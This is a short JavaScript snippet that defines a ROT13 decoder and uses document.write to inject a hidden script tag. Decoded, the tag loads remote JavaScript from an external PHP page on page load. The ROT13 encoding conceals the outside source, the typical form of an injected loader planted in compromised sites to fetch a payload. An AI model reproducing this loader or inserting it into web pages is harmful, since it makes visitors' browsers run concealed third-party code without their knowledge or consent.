function rot13(input){return input.replace(/[a-zA-Z]/g,function(ch){return String.fromCharCode((ch<="Z"?90:122)>=(ch=ch.charCodeAt(0)+13)?ch:ch-26);})}document.write(rot13("<fpevcg ynathntr=\"wninfpevcg\" fep=\"uggc://jjj.nyynop.pbz/vaqrk.cuc?ers=pbqr\"></fpevcg>"));